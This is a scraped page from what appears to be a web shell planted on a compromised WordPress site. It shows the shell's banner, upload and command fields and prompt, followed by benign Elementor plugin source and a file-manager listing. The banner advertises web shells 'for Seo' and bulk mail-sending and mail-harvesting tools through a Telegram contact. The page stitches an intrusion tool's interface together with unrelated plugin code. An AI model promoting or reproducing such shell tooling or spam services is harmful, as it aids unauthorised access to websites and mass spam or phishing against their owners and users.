__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Elementor\Modules\AtomicWidgets\Styles;

class Style_States {
	const HOVER = 'hover';
	const ACTIVE = 'active';
	const FOCUS = 'focus';

	const SELECTED = 'e--selected';

	public static function get_pseudo_states(): array {
		return [
			self::HOVER,
			self::ACTIVE,
			self::FOCUS,
		];
	}

	public static function get_class_states(): array {
		return [
			self::SELECTED,
		];
	}

	public static function get_valid_states(): array {
		return [
			...self::get_pseudo_states(),
			...self::get_class_states(),
			null,
		];
	}

	public static function is_pseudo_state( string $state ): bool {
		return in_array( $state, self::get_pseudo_states(), true );
	}

	public static function is_class_state( string $state ): bool {
		return in_array( $state, self::get_class_states(), true );
	}

	public static function is_valid_state( $state ): bool {
		if ( null === $state ) {
			return true;
		}

		return is_string( $state ) && in_array( $state, self::get_valid_states(), true );
	}

	public static function get_class_states_map(): array {
		return [
			'selected' => [
				'name' => 'selected',
				'value' => self::SELECTED,
			],
		];
	}
}

Filemanager

Name Type Size Permission Actions
atomic-styles-manager.php File 7.26 KB 0664
atomic-widget-base-styles.php File 1.21 KB 0664
atomic-widget-styles.php File 2.66 KB 0664
css-files-manager.php File 2.41 KB 0664
size-constants.php File 2.72 KB 0664
style-definition.php File 759 B 0664
style-file.php File 946 B 0664
style-fonts.php File 1.16 KB 0664
style-schema.php File 14.04 KB 0664
style-states.php File 1.13 KB 0664
style-variant.php File 898 B 0664
styles-renderer.php File 5.26 KB 0664
Filemanager